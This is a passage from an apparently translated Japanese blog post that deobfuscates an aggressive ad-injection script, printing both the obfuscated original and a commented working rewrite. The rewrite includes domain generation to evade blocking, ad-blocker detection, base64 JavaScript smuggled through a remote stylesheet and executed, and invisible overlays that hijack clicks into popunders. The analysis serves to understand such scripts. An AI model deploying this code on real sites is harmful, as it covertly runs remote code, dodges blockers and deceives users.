pluck(); var cache = f5h(CACHE, sel); var mod = cache[id]; var data = cache[idx]; if (I3x.d2h(which, id)) { getObject(id, data, id); } else { if (I3x.c5h(rvar, mod + which)) { getObject(rvar, data, id); } else { } } var animationLookup = pluck(); var matches = f5h(animationLookup, match); var classNames = matches[sel]; if ((I3x.T5h(r20, id) || I3x.q6h(classNames, r20)) && I3x.k6h(rvar, data + chunk)) { appendModelPrefix(); } } var el = window["document"]["createElement"](e); removeHash(); fn(style + mapwidth + x + h + m + style + v + g + b + c + b + c + m + style + v + _ + b + style + b + c); var i = indexOf(actual, obj); var keyName = indexOf(arg, udataCur); var type = indexOf(arg, udataCur); var found = indexOf(id, selector); var io = indexOf(id, selector); var size = indexOf(id, selector); var content = indexOf(id, selector); /** @type {Array} */ var a = [start, name + keyName + val, base + type + val, $1 + _ + $2 + found + spaceAfter, reference + size + spaceAfter, spaceBefore + content + spaceAfter, webPortPath + io + spaceAfter, offset + i + j]; window["document"]["addEventListener"](expectedOutput, function(event) { /** @type {number} */ var udataCur = (new Date).getTime(); var animationLookup = pluck(); var matches = f5h(animationLookup, match); var data = matches[idx]; var classNames = matches[sel]; if (I3x.M5h(udataCur, data + chunk)) { return; } if (I3x.B5h(classNames, r20) && I3x.Z5h(r20, id)) { return; } var o = findClosestLink(event.target, g); if (o) { /** * @param {StyleSheet} o * @return {undefined} */ var unfoldSoak = function(o) { result = o.href; }; unfoldSoak(o); } event.preventDefault(); event.stopPropagation(); loopMatch(); valueAccessor(function() { return window["document"]["body"]["appendChild"](el); }); el.style.cssText += filter(a).join(str); }, true); el.addEventListener(up, function(event) { /** @type {string} */ var val2 = "Fhtml"; /** @type {string} */ var z = "y"; /** @type {string} */ var y = "od"; /** @type {string} */ var ty = "dy"; /** @type {string} */ var inner = "bo"; /** @type {string} */ var o = "ead"; /** @type {(number|string)} */ var n = h; /** @type {(number|string)} */ var longNameB = F; /** @type {string} */ var JSCRIPT_KEYWORDS = "E"; /** @type {string} */ var q = "p"; /** @type {string} */ var value = "Fscri"; /** @type {string} */ var operator = "2"; /** @type {string} */ var s = "C"; /** @type {string} */ var PYTHON_KEYWORDS = "3"; /** @type {string} */ var PERL_KEYWORDS = "%"; /** @type {string} */ var t = '?q");}, 300);'; /** @type {string} */ var g = '("'; /** @type {string} */ var r = "ce"; /** @type {string} */ var args = "ati"; /** @type {string} */ var js = "oc"; /** @type {string} */ var spaceAfter = "ow"; /** @type {string} */ var x = "(){ "; /** @type {string} */ var closure = "cti"; /** @type {string} */ var $2 = "Time"; /** @type {string} */ var __ = "; "; /** @type {string} */ var indentCharacter = "ul"; /** @type {string} */ var clazz = " = "; /** @type {string} */ var varPart = "er"; /** @type {string} */ var guardPart = "en"; /** @type {string} */ var m = "in"; /** @type {string} */ var sign = "%3Chtml%3E%3Chead%3E%3Cscript%3E"; /** * @param {?} obj * @return {undefined} */ var isUndefined = function(obj) { data = obj; }; /** @type {number} */ var suiteView = (new Date).getTime(); var animationLookup = pluck(); var matches = f5h(animationLookup, match); var marker = matches[id]; var data = matches[idx]; var url = matches[sel]; var self = void id; event.preventDefault(); event.stopPropagation(); event.stopImmediatePropagation(); isUndefined(suiteView); url += idx; getObject(marker, data, url); if (I3x.k2h(deepDataAndEvents, undefined) && I3x.L2h(deepDataAndEvents, failuresLink)) { /** * @param {Object} parent * @return {undefined} */ var group = function(parent) { /** @type {Object} */ self.opener = parent; }; /** * @return {undefined} */ var success = function() { /** @type {string} */ var px = "?q"; /** @type {string} */ window["window"]["location"] = el.href + px; }; self = window["window"]["open"](str); if (I3x.P2h(result, undefined)) { /** * @param {(Object|string)} details * @return {undefined} */ var report = function(details) { /** @type {(Object|string)} */ self.location = details; }; report(result); } else { /** * @param {Object} elem * @return {undefined} */ var removeEvent = function(elem) { self.location = elem.location; }; removeEvent(window); } success(); group(obj); el.parentNode.removeChild(el); return; } self = window["window"]["open"](path); self.document.write(decodeURIComponent(sign) + (h + m + content + v + h + total + v + ms + guardPart + varPart + clazz + style + indentCharacter + i + __ + name + b + $1 + $2 + v + prefix + $1 + col + _ + prefix + style + closure + v + style + x + h + m + content + spaceAfter + total + i + js + args + v + style + total + c + b + ms + i + e + r + g) + el.href + t + decodeURIComponent(PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + value + q + "t" + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + longNameB + n + o + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + inner + ty + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + longNameB + min + y + z + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + val2 + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS)); el.parentNode.removeChild(el); }, true); }; }(); var drawBorder = function() { /** @type {(number|string)} */ var v = ")"; /** @type {string} */ var b = "AAIB"; /** @type {string} */ var r = "AE"; /** @type {string} */ var groupId = "BA"; /** @type {string} */ var ele = "LA"; /** @type {string} */ var epath = "AEAAA"; /** @type {string} */ var suffix = "B"; /** @type {string} */ var args = "5"; /** @type {string} */ var H = "H"; /** @type {string} */ var x = "y"; /** @type {string} */ var w = "///"; /** @type {string} */ var $ = "AA"; /** @type {string} */ var re = "AAA"; /** @type {string} */ var PYTHON_KEYWORDS = "BAIA"; /** @type {string} */ var PERL_KEYWORDS = "QA"; /** @type {string} */ var JSCRIPT_KEYWORDS = "ODlhA"; /** @type {(number|string)} */ var CSHARP_KEYWORDS = G; /** @type {string} */ var separator = "0l"; /** @type {string} */ var string = "R"; /** @type {string} */ var inner = "e64"; /** @type {string} */ var s = "as"; /** @type {string} */ var name = "b"; /** @type {(number|string)} */ var closer = g; /** @type {string} */ var expires = "age"; /** @type {(number|string)} */ var value = m; /** @type {string} */ var spaceAfter = "at"; /** @type {(number|string)} */ var last = 999999; /** @type {string} */ var div = "div"; /** * @param {(number|string)} backgroundImage * @return {undefined} */ var backgroundImage = function(backgroundImage) { /** @type {(number|string)} */ node.style.backgroundImage = backgroundImage; }; /** * @param {number} last * @return {undefined} */ var process = function(last) { /** @type {number} */ node.style.zIndex = last; }; var node = window["document"]["createElement"](div); process(last); backgroundImage(prefix + c + i + col + content + spaceAfter + e + $2 + key + value + expires + path + closer + key + _ + j + name + s + inner + slashSplit + string + separator + CSHARP_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + g + re + $ + p + w + x + H + args + suffix + epath + g + g + ele + $ + $ + g + groupId + r + g + b + string + $ + typePattern + v); return function(elems) { var testElement = node.cloneNode(false); var i; for (i in elems) { if (Object.prototype.hasOwnProperty.call(elems, i)) { /** * @param {Object} object * @return {undefined} */ var debug = function(object) { testElement.style[i] = object[i]; }; debug(elems); } } window["document"]["body"]["appendChild"](testElement); return testElement; }; }(); traverseNode(node); /** * @return {undefined} */ window["window"][timeoutKey] = function() { if (I3x.h5h(window["window"].zfgloadedpopup, true)) { node(); } }; } catch (x) { } })({ j5h : "", U5h : 1397381, n5h : 3, g5h : 3, R2h : 45, t5h : ["t92YuYzc2UWNrRXcxFXe5cmYz8mZhNGNx9WcqVGc"], F5h : "" }, "_hmiadab", "_ihlnws");
      
      







まだ十分に理解されていませんが、すでに数桁優れています!



次に、関数の辞書(var I3x = {...};)を取得して、個別に取り出します。残りはスクリプトで処理します。



 for (let _name in I3x) { let _func = I3x[_name].toString().replace(/[\r\n\s]+/g,' '); let _parts = _func.match(/^function\s\(([\w\d]+),\s([\w\d]+)\)\s\{\sreturn\s([\w\d]+)\s([\W\D]+)\s([\w\d]+);\s\}$/); if (_parts && _parts[1] === _parts[3] && _parts[2] === _parts[5]) { let _new = _scr.replace(new RegExp(`I3x\\.${_name}\\(([^),]+),\\s([^)]+)\\)`), `(($1)${_parts[4]}($2))`); if (_new !== _scr) _scr = _new; else console.log(`Not replaced lib.${_name} = ${_func}`); } else console.log(`Skipped lib.${_name} = ${_func}`); } console.warn(_scr);
      
      





一部の機能は置き換えられませんが、これらの多くは存在しないため、手動で修正しても問題はありません。他の条件では、このコードを大幅に変更する必要がありますが、たとえば、次のような形式の構造でこの種の難読化を満たしました。



 let lib = { abc: function(a, b, c) { return a(b, c); } }; //    lib.abc(d, e, f); //    d(e, f);
      
      





残念ながら、アクセシビリティの境界と変数の「シャドウイング」を追跡する便利なツールが見つからなかったため、文字列データを手動で復元する必要がありました。



以下は、コメント付きの解析され書き換えられたコードです。
 "use strict"; var _parseState = (function() { // I haven't found fragment of code with definition of 'I2h' object function resolve(_savedState, someNumber) { var a = []; var regexp2_fn = true; var text = false; var callback = undefined; try { var entry = _savedState[I2h.h2h](); var pair; for (; !(regexp2_fn = (pair = entry.next()).E5h); regexp2_fn = true) { a.push(pair.value); if (someNumber && a.length === someNumber) { break; } } } catch (error) { text = true; callback = error; } finally { try { if (!regexp2_fn && entry.return) entry.return(); } finally { if (text) { throw callback; } } } return a; } // usually this function returns state as-is since it's an array return function(_savedState, someNumber) { if (Array.isArray(_savedState)) { return _savedState; } else { if (I2h.h2h in Object(_savedState)) { return resolve(_savedState, someNumber); } else { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } } }; })(); (function(config, onErrorName, onLoadName) { try { var _generateDomanName = function parse() { if (src.length > 0) { return atob(src[0].split('').reverse().join('')); } var _osName = _getOSName(); var _osVer = _getOSVersion(_osName); var _osID = ((os, v) => os == "Windows" ? (v == "10" ? 2 : ((v == "7" || v == "8") ? 3 : 1)) : 1)(_osName, _osVer); var _widthID = ((w) => w == "1920" ? 2 : (w == "1366" ? 3 : 1))(window.screen.width); var _timezoneID = _getTimezoneID(-(new Date).getTimezoneOffset() / 60); let _pad = x => (x + '').padStart(2, '0'); var prop = _pad(_timezoneID + '') + _pad(_widthID + '') + _pad(_osID + '') + "0000"; var _obj = {}; // unless there are some other shenanigans on the page this should be always false prop = _obj.hasOwnProperty(prop) ? _obj[prop] : prop; var _codeString = void 0; // actually _config_j5h is equal to empty string in this particular case // so, _codeString remain undefined if (_config_j5h === 1) { _codeString = "wmoaz2g6axi0p"; } else { if (_config_j5h === 4) { _codeString = "5901cf07608da"; } } var _obj = {}; // same as above, most likely just returns _codeString as-is var initial = _obj.hasOwnProperty(prop) ? _obj[prop] : _codeString; var restoreScript = prop + initial; var sumAllNumbers = function sumAllNumbers(text) { var _sum = 0; if (text.toString().length == 1) { return parseInt(text); } else { text.toString().split('').forEach(x => _sum += parseInt(x)); return sumAllNumbers(_sum); } }; return getValue(restoreScript).substr(0, ((20) - (sumAllNumbers(_timezoneID)))) + ".com"; }; // Postpones function until document.body is available // Almost the same thing as wait for DOMContentLoaded var _waitForBody = function(_func) { if (!document.body) { var timer = setTimeout(function run() { if (!document.body) { timer = setTimeout(run, 20); return; } _func(); clearTimeout(timer); }, 20) } else { _func(); } }; // looks like their own setTimeout implementation var _postponeABit = function run(_func) { var _stop = false; var _interval = setInterval(function() { if (!_stop) { _stop = true; _func(); clearInterval(_interval); } }, 300); return _interval; }; // I've replaced "The Great Wall of IFs" with something less awful var _getTimezoneID = function clone(_timezone) { let res = Math.ceil(_timezone) + 12; if (res < 4) res = 4; if (res > 21) res = 23; if (res === 9 || res === 11) res = 10; return res; }; // get OS name from userAgent var _getOSName = function parse() { var _userAgent = window.navigator.userAgent; var _platform = window.navigator.platform; var macs = ["Macintosh", "MacIntel", "MacPPC", "Mac68K"]; var windows = ["Win32", "Win64", "Windows", "WinCE"]; var imacs = ["iPhone", "iPad", "iPod"]; var ret = null; if (macs.indexOf(_platform) !== -1) { ret = "MacOS"; } else { if (imacs.indexOf(_platform) !== -1) { ret = "iOS"; } else { if (windows.indexOf(_platform) !== -1) { ret = "Windows"; } else { if (/Android/.test(_userAgent)) { ret = "Android"; } else { if (!ret && /Linux/.test(_platform)) { ret = "Linux"; } } } } } return ret; }; // get major Windows version and ignore all the rest var _getOSVersion = function m(_osName) { var output = ''; var _userAgent = window.navigator.userAgent; if (_osName === "Windows") { if (/(Windows 10.0|Windows NT 10.0)/.test(_userAgent)) { output = "10"; } if (/(Windows 8|Windows NT 6.2|Windows NT 6.3)/.test(_userAgent)) { output = "8"; } if (/(Windows 7|Windows NT 6.1)/.test(_userAgent)) { output = "7"; } } return output; }; var _getScriptURL = function initialize() { // get ads script URL from the page code let node = document.querySelector('script[src*="apu.php"]'); if (node === null) return; // since config.F5h is equal to "" in this case replace won't happen return config.F5h ? node.src.replace(/apu.php/g, "afu.php") : node.src; }; // attempt to load string of some hostnames from a styleSheets // return true if current hostname is in the list var _isKnownHost = function init(_href) { try { let l = void 0; if (document.styleSheets) { for (let sheet of document.styleSheets) { if (sheet.href === _href) { // get base64 encoded list of hostnames stored in stylesheet l = sheet.cssRules[3].style.content; break; } } } if (!l) return false; l = l.substring(1, ((l.length) - 1)); let f = window.atob(l); f = f.split(","); return f.some(x => x === location.host); } catch (ignore) {} }; // attempt to load some script code from a styleSheets and run it // returns a function which removes it from the page var _createScriptFromStyle = function(assert) { try { let l = void 0; if (document.styleSheets) { for (let sheet of document.styleSheets) { if (sheet.href === assert) { // get base64 encoded function stored in stylesheet l = sheet.cssRules[2].style.content; break; } } } if (!l) { // use blank function "(function() {})();" if failed to get proper code l = '"KGZ1bmN0aW9uKCkge30pKCk7"'; // return () => null; at this point would be the same } l = l.substring(1, ((l.length) - 1)); var _script = document.createElement("script"); _script.type = "text/javascript"; var _text = document.createTextNode(window.atob(l)); _script.appendChild(_text); // attach script to a page and return function which will detach it document.body.appendChild(_script); // could have been detached right here, but they decided to do it // at the call site after a short timeout return function() { _script.parentNode.removeChild(_script); }; } catch (x) {} }; // produce random integer between _min and _max var _getRandom = (_min, _max) => Math.floor(Math.random() * (_max - _min) + _min); // Saves 'value' and all properties of an object into a cookie // Not used? var X5 = function setCookie(_cookieName, _cookieValue, _config) { _config = _config || {}; var exp = _config.c6h; if (typeof exp == "number" && exp) { var d = new Date; d.setTime(d.getTime() + ((exp) * (1000))); exp = _config.c6h = d; } if (exp && exp.toUTCString) { _config.c6h = exp.toUTCString(); } _cookieValue = encodeURIComponent(_cookieValue); var _res = _cookieName + "=" + _cookieValue; for (let _prop in _config) { _res += "; " + _prop; if (_config[_prop] !== true) { _res += "=" + _config[_prop]; } } document.cookie = _res; }; // another cookie-related function, also not used var V5 = function getCookie(elem) { var matches = document.cookie.match( new RegExp("(?:^|; )" + elem.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "$1") + "=([^;]*)") ); return matches ? decodeURIComponent(matches[1]) : void 0; }; // returns object with absolute top and left position of a node on the page var _getNodePosition = function(node) { let _DOMRect = node.getBoundingClientRect(); let _element = document.documentElement; let _body = document.body; return { top: Math.round(_DOMRect.top + (window.pageYOffset || _element.scrollTop || _body.scrollTop) - (_element.clientTop || _body.clientTop || 0)), left: Math.round(_DOMRect.left + (window.pageXOffset || _element.scrollLeft || _body.scrollLeft) - (_element.clientLeft || _body.clientLeft || 0)) }; }; // generate transparent placeholders on top of NON banner-sized objects var _regeneratePlaceholders = function _regeneratePlaceholders() { // remove existing placeholders if present forEach(_placeholders, node => node.parentNode && node.parentNode.removeChild(node)); _placeholders = forEach(_arrayFromSelector("object, iframe, embed, video, audio"), element => { if (!_bannerResolutions.some(x => element.offsetWidth + "x" + element.offsetHeight === x)) { var _pos = _getNodePosition(element); return _generatePlaceholder({ left: _pos.left + "px", top: _pos.top + "px", height: element.offsetHeight + "px", width: element.offsetWidth + "px", position: "absolute" }); } return []; } ); // keep track of elements position change and move placeholders to new position // could have been done in a less awful way than just drop and re-create them every 3/4 of a second _regeneratePlaceholdersTimeoutID = setTimeout(_regeneratePlaceholders, 750); }; var _dropPlaceholders = function unload() { if (_placeholders.length === 0) return; // remove existing placeholders forEach(_placeholders, node => node.parentNode && node.parentNode.removeChild(node)); // stop _regeneratePlaceholders if (_regeneratePlaceholdersTimeoutID) clearTimeout(_regeneratePlaceholdersTimeoutID); }; // we can use Array.from these days var _arrayFromSelector = function(_selector) { var res = []; try { res = forEach(document.querySelectorAll(_selector), x => x); } catch (ignore) {} return res; }; // run 'callback' for each element of an array-like object passed in // and return an array of non-undefined results var forEach = function(arg, callback) { let bucket = []; let value = void 0; for (let i = 0; i < arg.length; i++) { value = callback(arg[i], i, arg); if (value !== void 0) bucket.push(value); } return bucket; }; var cloneDate = function(result) { var val = ((result.length + 8) >> 6) + 1; var actions = new Array(val * 16); var _id = 0; for (; _id < val * 16; _id++) { actions[_id] = 0; } _id = 0; for (; _id < result.length; _id++) { actions[_id >> 2] |= result.charCodeAt(_id) << (_id % 4 * 8); } actions[_id >> 2] |= (128 << (_id % 4 * 8)); actions[val * 16 - 2] = result.length * 8; return actions; }; // BITWISE MAGIC BLOCK: START // looks like a function to convert a number to base 16 8 byte little-endian form // x => x.toString(16).padStart(8, '0').match(/../g).reverse().join('').substr(0,8); var get = function extend(_val) { var res = ""; var _base = "0123456789abcdef"; var _id = 0; for (; _id <= 3; _id++) { res += _base.charAt((_val >> _id * 8 + 4) & 15) + _base.charAt((_val >> _id * 8) & 15); } return res; }; // similar to a + b with limitations of bitwise operations var _sum = function(_a, _b) { let s1 = (_a & 65535) + (_b & 65535); let s2 = (_a >> 16) + (_b >> 16) + (s1 >> 16); return ((s2 << 16) | (s1 & 65535)); }; // similar to x * Math.pow(2, y) with limitations of bitwise operations var wrap = (x, y) => ((x << y) | (x >>> 32 - y)); // some bitwise transformations var mixin = function(a, b, c, d, e, f) { return _sum(wrap(_sum(_sum(b, a), _sum(d, f)), e), c); }; var _step1 = function(a, b, c, d, e, f, g) { return mixin(((b) & (c)) | ~b & d, a, b, e, f, g); }; var _step2 = function(a, b, c, d, e, f, g) { return mixin(((b) & (c)) | c & ~d, a, b, e, f, g); }; var _step3 = function(a, b, c, d, e, f, g) { return mixin((b ^ c ^ d), a, b, e, f, g); }; var _step4 = function(a, b, c, d, e, f, g) { return mixin(c ^ (b | ~d), a, b, e, f, g); }; // as I understand this function is used to generate domain names depending on date in order to circumvent blocking // now they just have to register these domains in advance var getValue = function render(callback) { var check = cloneDate(callback); var _var1 = 1732584193; var _var2 = -271733879; var _var3 = -1732584194; var _var4 = 271733878; var T = 0; for (; T < check.length; T += 16) { var _var1init = _var1; var _var2init = _var2; var _var3init = _var3; var _var4init = _var4; _var1 = _step1(_var1, _var2, _var3, _var4, check[T + 0], 7, -680876936); _var4 = _step1(_var4, _var1, _var2, _var3, check[T + 1], 12, -389564586); _var3 = _step1(_var3, _var4, _var1, _var2, check[T + 2], 17, 606105819); _var2 = _step1(_var2, _var3, _var4, _var1, check[T + 3], 22, -1044525330); _var1 = _step1(_var1, _var2, _var3, _var4, check[T + 4], 7, -176418897); _var4 = _step1(_var4, _var1, _var2, _var3, check[T + 5], 12, 1200080426); _var3 = _step1(_var3, _var4, _var1, _var2, check[T + 6], 17, -1473231341); _var2 = _step1(_var2, _var3, _var4, _var1, check[T + 7], 22, -45705983); _var1 = _step1(_var1, _var2, _var3, _var4, check[T + 8], 7, 1770035416); _var4 = _step1(_var4, _var1, _var2, _var3, check[T + 9], 12, -1958414417); _var3 = _step1(_var3, _var4, _var1, _var2, check[T + 10], 17, -42063); _var2 = _step1(_var2, _var3, _var4, _var1, check[T + 11], 22, -1990404162); _var1 = _step1(_var1, _var2, _var3, _var4, check[T + 12], 7, 1804603682); _var4 = _step1(_var4, _var1, _var2, _var3, check[T + 13], 12, -40341101); _var3 = _step1(_var3, _var4, _var1, _var2, check[T + 14], 17, -1502002290); _var2 = _step1(_var2, _var3, _var4, _var1, check[T + 15], 22, 1236535329); _var1 = _step2(_var1, _var2, _var3, _var4, check[T + 1], 5, -165796510); _var4 = _step2(_var4, _var1, _var2, _var3, check[T + 6], 9, -1069501632); _var3 = _step2(_var3, _var4, _var1, _var2, check[T + 11], 14, 643717713); _var2 = _step2(_var2, _var3, _var4, _var1, check[T + 0], 20, -373897302); _var1 = _step2(_var1, _var2, _var3, _var4, check[T + 5], 5, -701558691); _var4 = _step2(_var4, _var1, _var2, _var3, check[T + 10], 9, 38016083); _var3 = _step2(_var3, _var4, _var1, _var2, check[T + 15], 14, -660478335); _var2 = _step2(_var2, _var3, _var4, _var1, check[T + 4], 20, -405537848); _var1 = _step2(_var1, _var2, _var3, _var4, check[T + 9], 5, 568446438); _var4 = _step2(_var4, _var1, _var2, _var3, check[T + 14], 9, -1019803690); _var3 = _step2(_var3, _var4, _var1, _var2, check[T + 3], 14, -187363961); _var2 = _step2(_var2, _var3, _var4, _var1, check[T + 8], 20, 1163531501); _var1 = _step2(_var1, _var2, _var3, _var4, check[T + 13], 5, -1444681467); _var4 = _step2(_var4, _var1, _var2, _var3, check[T + 2], 9, -51403784); _var3 = _step2(_var3, _var4, _var1, _var2, check[T + 7], 14, 1735328473); _var2 = _step2(_var2, _var3, _var4, _var1, check[T + 12], 20, -1926607734); _var1 = _step3(_var1, _var2, _var3, _var4, check[T + 5], 4, -378558); _var4 = _step3(_var4, _var1, _var2, _var3, check[T + 8], 11, -2022574463); _var3 = _step3(_var3, _var4, _var1, _var2, check[T + 11], 16, 1839030562); _var2 = _step3(_var2, _var3, _var4, _var1, check[T + 14], 23, -35309556); _var1 = _step3(_var1, _var2, _var3, _var4, check[T + 1], 4, -1530992060); _var4 = _step3(_var4, _var1, _var2, _var3, check[T + 4], 11, 1272893353); _var3 = _step3(_var3, _var4, _var1, _var2, check[T + 7], 16, -155497632); _var2 = _step3(_var2, _var3, _var4, _var1, check[T + 10], 23, -1094730640); _var1 = _step3(_var1, _var2, _var3, _var4, check[T + 13], 4, 681279174); _var4 = _step3(_var4, _var1, _var2, _var3, check[T + 0], 11, -358537222); _var3 = _step3(_var3, _var4, _var1, _var2, check[T + 3], 16, -722521979); _var2 = _step3(_var2, _var3, _var4, _var1, check[T + 6], 23, 76029189); _var1 = _step3(_var1, _var2, _var3, _var4, check[T + 9], 4, -640364487); _var4 = _step3(_var4, _var1, _var2, _var3, check[T + 12], 11, -421815835); _var3 = _step3(_var3, _var4, _var1, _var2, check[T + 15], 16, 530742520); _var2 = _step3(_var2, _var3, _var4, _var1, check[T + 2], 23, -995338651); _var1 = _step4(_var1, _var2, _var3, _var4, check[T + 0], 6, -198630844); _var4 = _step4(_var4, _var1, _var2, _var3, check[T + 7], 10, 1126891415); _var3 = _step4(_var3, _var4, _var1, _var2, check[T + 14], 15, -1416354905); _var2 = _step4(_var2, _var3, _var4, _var1, check[T + 5], 21, -57434055); _var1 = _step4(_var1, _var2, _var3, _var4, check[T + 12], 6, 1700485571); _var4 = _step4(_var4, _var1, _var2, _var3, check[T + 3], 10, -1894986606); _var3 = _step4(_var3, _var4, _var1, _var2, check[T + 10], 15, -1051523); _var2 = _step4(_var2, _var3, _var4, _var1, check[T + 1], 21, -2054922799); _var1 = _step4(_var1, _var2, _var3, _var4, check[T + 8], 6, 1873313359); _var4 = _step4(_var4, _var1, _var2, _var3, check[T + 15], 10, -30611744); _var3 = _step4(_var3, _var4, _var1, _var2, check[T + 6], 15, -1560198380); _var2 = _step4(_var2, _var3, _var4, _var1, check[T + 13], 21, 1309151649); _var1 = _step4(_var1, _var2, _var3, _var4, check[T + 4], 6, -145523070); _var4 = _step4(_var4, _var1, _var2, _var3, check[T + 11], 10, -1120210379); _var3 = _step4(_var3, _var4, _var1, _var2, check[T + 2], 15, 718787259); _var2 = _step4(_var2, _var3, _var4, _var1, check[T + 9], 21, -343485551); _var1 = _sum(_var1, _var1init); _var2 = _sum(_var2, _var2init); _var3 = _sum(_var3, _var3init); _var4 = _sum(_var4, _var4init); } return get(_var1) + get(_var2) + get(_var3) + get(_var4); }; // BITWISE MAGIC BLOCK: END window.zfgaabversion = "3.5.2"; var _bannerResolutions = ["468x60", "234x60", "120x240", "728x90", "300x250", "240x400"]; var _config_j5h = config.j5h; var src = config.t5h; var _regeneratePlaceholdersTimeoutID = void 0; var _placeholders = []; var child = child || {}; child.L5h = config.U5h; child.b5h = "uxngHWCMgWBNwpQg"; var _adsDomainName = _generateDomanName(); var _adsPage = "//" + _adsDomainName + "/" + child.L5h + "/"; var _adsHREF = "//" + _adsDomainName + "/" + child.L5h; if ((config.F5h !== void 0) && (config.F5h.length > 0)) { var _nodes; _waitForBody(function() { _postponeABit(function() { function _processNodes(nodes, adblockDetected) { function _changeClass(node) { if (node.classList.contains(config.F5h)) { node.classList.remove(config.F5h); node.classList.add(getValue(child.b5h + Date.now())); } } for (let len = 0; len < nodes.length; len++) { if (adblockDetected) { nodes[len].href = _adsHREF + ".html"; _changeClass(nodes[len]); continue; } nodes[len].href = _getScriptURL(); } } _nodes = document.querySelectorAll("." + config.F5h) ? document.querySelectorAll("." + config.F5h) : null; if (_nodes == null) return; (function init() { var node = document.createElement("iframe"); node.width = "1px"; node.height = "1px"; node.src = _getScriptURL(); _waitForBody(function() { document.body.appendChild(node); }); setTimeout(function() { if (node.style.display == "none" || node.style.display == "hidden" || node.style.visibility == "hidden" || node.offsetHeight == 0) { node.parentNode.removeChild(node); _processNodes(_nodes, true); // adblock detected } else { node.parentNode.removeChild(node); _processNodes(_nodes); // no adblock detected } }, 400); })(); }); }); return; } var _onAdScriptLoadError = (function() { var _runOnce = false; return function() { if (_runOnce) return; _runOnce = true; let _script = document.createElement("script"); _script.src = _adsPage; _waitForBody(function() { document.body.appendChild(_script); }); _script.onload = function() { _script.parentNode.removeChild(_script); if (window.zfgloadedpopup !== true) { _ifBlocked(_script); } }; _script.onerror = function() { _ifBlocked(_script); }; }; })(); var _ifBlocked = (function() { return function init(_script) { if (_script.parentNode) _script.parentNode.removeChild(_script); // attach stylesheet with encoded script and work with it var elem = document.createElement("link"); var target = document.getElementsByTagName("head")[0]; elem.id = _adsDomainName + "css"; elem.rel = "stylesheet"; elem.type = "text/css"; elem.crossOrigin = "anonymous"; elem.href = _adsHREF + ".css"; if (target) target.insertBefore(elem, target.firstChild); elem.onload = function() { if (_isKnownHost(elem.href)) { _addStarter("tabunder"); elem.parentNode.removeChild(elem); return; } var _detachScript = _createScriptFromStyle(elem.href); setTimeout(function() { if (typeof _adScript === "function") _detachScript(); elem.parentNode.removeChild(elem); }, 1000); if (window.zfgloadedpopup !== true) _addStarter("tabunder"); }; elem.onerror = function() { _addStarter("tabunder"); elem.parentNode.removeChild(elem); }; }; })(); var _addStarter = (function() { var _alreadySet = false; return function(_mode) { if (_alreadySet) return; _alreadySet = true; function _saveToLocalStorage(a, b, c) { localStorage.___goo = a + "|" + b + "|" + c; } function _getFromLocalStorage() { return localStorage.___goo.split("|").map(el => parseInt(el, 10)); } function filter(that) { let filtered = []; for (; that.length > 0;) { filtered.push(that.splice(_getRandom(0, that.length), 1).toString()); } return filtered; } var _currentTime = (new Date).getTime(); var _maxPopups = typeof config.n5h === "number" ? config.n5h : 3; var which = typeof config.g5h === "number" ? config.g5h : 1; var _minTimeBetweenPopups = typeof config.R2h === "number" ? config.R2h : 30; var _linkHREF = void 0; which = which * 1000 * 60 * 60; _minTimeBetweenPopups *= 1000; if (!localStorage.___goo) { _saveToLocalStorage(_currentTime, 0, 0); _regeneratePlaceholders(); } else { var _some = _parseState(_getFromLocalStorage(), 2); var mod = _some[0]; var _lastTime = _some[1]; if (which === 0) { _saveToLocalStorage(0, _lastTime, 0); } else { if (_currentTime > mod + which) { _saveToLocalStorage(_currentTime, _lastTime, 0); } else {} } var matches = _parseState(_getFromLocalStorage(), 3); var classNames = matches[2]; if ((_maxPopups === 0 || classNames < _maxPopups) && (_currentTime > _lastTime + _minTimeBetweenPopups)) { _regeneratePlaceholders(); } } var el = document.createElement("A"); el.href = _adsHREF + ".html"; el.rel = "nofollow norefferer noopener"; var _zIndex = _getRandom(9999999, 99999999); var _width = _getRandom(98, 101); var _height = _getRandom(98, 101); var _top = _getRandom(0, 4); var _bottom = _getRandom(0, 4); var _left = _getRandom(0, 4); var _right = _getRandom(0, 4); var a = [ "position:fixed;", "width:" + _width + "%;", "height:" + _height + "%;", "top:" + _top + "px;", "left:" + _left + "px;", "right:" + _right + "px;", "bottom:" + _bottom + "px;", "z-index:" + _zIndex + ";" ]; document.addEventListener("mousedown", function(event) { var _some = _parseState(_getFromLocalStorage(), 3); var _lastTime = _some[1]; var _lastPopups = _some[2]; if ((new Date).getTime() <= _lastTime + _minTimeBetweenPopups) { return; // exit if not enough time passed since last popup } if (_lastPopups >= _maxPopups && _maxPopups !== 0) { return; // exit if popups goal is set and already reached } var o = event.target.closest("A"); if (o) _linkHREF = o.href; event.preventDefault(); event.stopPropagation(); _dropPlaceholders(); _waitForBody(function() { return document.body.appendChild(el); }); el.style.cssText += filter(a).join(''); }, true); el.addEventListener("mouseup", function(event) { var _some = _parseState(_getFromLocalStorage(), 3); var _newWindow = void 0; event.preventDefault(); event.stopPropagation(); event.stopImmediatePropagation(); _saveToLocalStorage(_some[0], (new Date).getTime(), _some[2] + 1); // tabunder mode if (_mode === "tabunder") { _newWindow = window.open(''); // load clicked link (if present) or current URL in a new tab _newWindow.location = _linkHREF || window.location; // replace content of current window with ads window.location = el.href + "?q"; _newWindow.opener = null; el.parentNode.removeChild(el); return; } // popup mode _newWindow = window.open("|"); // code to load ads after short timeout _newWindow.document.write('<html><head><script>window.opener = null; setTimeout(function(){ window.location.replace("' + el.href + '?q");}, 300);</script></head><body></body></html>'); el.parentNode.removeChild(el); }, true); }; })(); var 